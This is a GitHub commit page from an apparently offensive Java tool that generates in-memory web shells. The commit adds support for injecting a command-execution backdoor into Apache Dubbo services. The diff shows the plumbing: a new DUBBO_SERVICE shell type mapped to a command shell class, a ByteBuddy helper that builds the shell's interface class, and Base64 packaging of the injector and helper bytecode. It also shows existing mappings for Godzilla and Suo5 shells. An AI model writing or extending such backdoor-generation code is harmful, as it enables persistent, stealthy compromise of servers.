Skip to content

Commit 51b7e8e

Browse files
committed
feat: support dubbo service memshell
1 parent 25e1b39 commit 51b7e8e

32 files changed

Lines changed: 1233 additions & 274 deletions

generator/build.gradle.kts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ dependencies {
4141
implementation(libs.reactor.netty.core)
4242
implementation(libs.jackson.annotations)
4343
implementation(libs.bundles.jna)
44+
implementation("org.apache.dubbo:dubbo:2.7.8")
4445

4546
testImplementation(libs.junit.jupiter)
4647
testImplementation(libs.hamcrest)

generator/src/main/java/com/reajason/javaweb/Server.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,4 +21,5 @@ public class Server {
2121
public static final String SpringWebFlux = "SpringWebFlux";
2222
public static final String XXLJOB = "XXLJOB";
2323
public static final String Struct2 = "Struct2";
24+
public static final String Dubbo = "Dubbo";
2425
}

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
package com.reajason.javaweb.memshell;
22

33
import com.reajason.javaweb.GenerationException;
4+
import com.reajason.javaweb.asm.ClassInterfaceUtils;
45
import com.reajason.javaweb.memshell.config.InjectorConfig;
56
import com.reajason.javaweb.memshell.config.ShellConfig;
67
import com.reajason.javaweb.memshell.config.ShellToolConfig;
8+
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
79
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
810
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
911
import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -15,6 +17,7 @@
1517
import com.reajason.javaweb.utils.CommonUtil;
1618
import org.apache.commons.codec.binary.Base64;
1719
import org.apache.commons.lang3.StringUtils;
20+
import org.apache.commons.lang3.Strings;
1821
import org.apache.commons.lang3.tuple.Pair;
1922

2023
import java.util.Map;
@@ -60,20 +63,31 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
6063

6164
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
6265

63-
injectorConfig.setInjectorClass(injectorClass);
64-
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
65-
injectorConfig.setShellClassBytes(shellBytes);
66+
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
67+
String interfaceName = shellToolConfig.getShellClassName() + "$1";
68+
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
69+
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
70+
String urlPattern = injectorConfig.getUrlPattern();
71+
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
72+
|| StringUtils.isBlank(urlPattern)) {
73+
injectorConfig.setUrlPattern(shellToolConfig.getShellClassName());
74+
}
75+
}
6676

6777
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
6878
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
6979
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
7080
}
7181

82+
injectorConfig.setInjectorClass(injectorClass);
83+
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
84+
injectorConfig.setShellClassBytes(shellBytes);
85+
7286
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
7387
byte[] injectorBytes = injectorGenerator.generate();
7488
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
7589
ProbeConfig probeConfig = ProbeConfig.builder()
76-
.shellClassName(injectorConfig.getInjectorClassName() + "1")
90+
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
7791
.probeMethod(ProbeMethod.ResponseBody)
7892
.probeContent(ProbeContent.Bytecode)
7993
.targetJreVersion(shellConfig.getTargetJreVersion())

generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,8 @@ public class MemShellResult {
3232
private transient Map<String, byte[]> injectorInnerClassBytes;
3333
private long injectorSize;
3434
private String injectorBytesBase64Str;
35+
private String injectorHelperBytesBase64Str;
36+
private long injectorHelperSize;
3537
private ShellConfig shellConfig;
3638
private ShellToolConfig shellToolConfig;
3739
private InjectorConfig injectorConfig;
@@ -46,8 +48,15 @@ public MemShellResult build() {
4648
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
4749
injectorSize = injectorBytes.length;
4850
}
51+
if (injectorConfig.getHelperClassBytes() != null) {
52+
injectorHelperBytesBase64Str = Base64.getEncoder().encodeToString(injectorConfig.getHelperClassBytes());
53+
injectorHelperSize = injectorConfig.getHelperClassBytes().length;
54+
55+
}
4956
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
50-
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
57+
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize,
58+
injectorBytesBase64Str, injectorHelperBytesBase64Str, injectorHelperSize,
59+
shellConfig, shellToolConfig, injectorConfig);
5160
}
5261
}
5362

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ public class ServerFactory {
4747
register(Server.SpringWebFlux, SpringWebFlux::new);
4848
register(Server.XXLJOB, XxlJob::new);
4949
register(Server.Struct2, Struct2::new);
50+
register(Server.Dubbo, Dubbo::new);
5051

5152
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
5253
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -162,6 +163,7 @@ public class ServerFactory {
162163
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
163164
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
164165
.addShellClass(ACTION, CommandStruct2Action.class)
166+
.addShellClass(DUBBO_SERVICE, CommandDubboService.class)
165167
.build());
166168

167169
addToolMapping(ShellTool.Suo5, ToolMapping.builder()

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,5 +49,7 @@ public class ShellType {
4949
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
5050
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
5151

52+
public static final String DUBBO_SERVICE = "DubboService";
53+
5254
public static final String ACTION = "Action";
5355
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.memshell.generator;
2+
3+
import com.reajason.javaweb.ClassBytesShrink;
4+
import com.reajason.javaweb.memshell.config.ShellConfig;
5+
import com.reajason.javaweb.memshell.config.ShellToolConfig;
6+
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
7+
import net.bytebuddy.ByteBuddy;
8+
import net.bytebuddy.dynamic.DynamicType;
9+
10+
public class DubboServiceInterfaceHelperGenerator {
11+
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
12+
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
13+
.redefine(ShellDubboService.class)
14+
.name(interfaceName)
15+
.make()) {
16+
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
17+
}
18+
}
19+
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
88
import com.reajason.javaweb.memshell.config.*;
99
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
10-
import com.reajason.javaweb.utils.CommonUtil;
1110
import net.bytebuddy.ByteBuddy;
1211
import net.bytebuddy.dynamic.DynamicType;
1312
import org.apache.commons.lang3.tuple.Pair;
@@ -31,7 +30,7 @@ public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellTool
3130
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
3231
.field(named("headerName")).value(headerPair.getKey())
3332
.field(named("headerValue")).value(headerPair.getValue())
34-
.name(CommonUtil.generateClassName());
33+
.name(shellToolConfig.getShellClassName() + "$1");
3534
if (shellConfig.isJakarta()) {
3635
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
3736
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.reajason.javaweb.memshell.generator.command;
22

33
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
4+
import com.reajason.javaweb.memshell.ShellType;
45
import com.reajason.javaweb.memshell.config.CommandConfig;
56
import com.reajason.javaweb.memshell.config.ShellConfig;
67
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;

0 commit comments

Comments
 (0)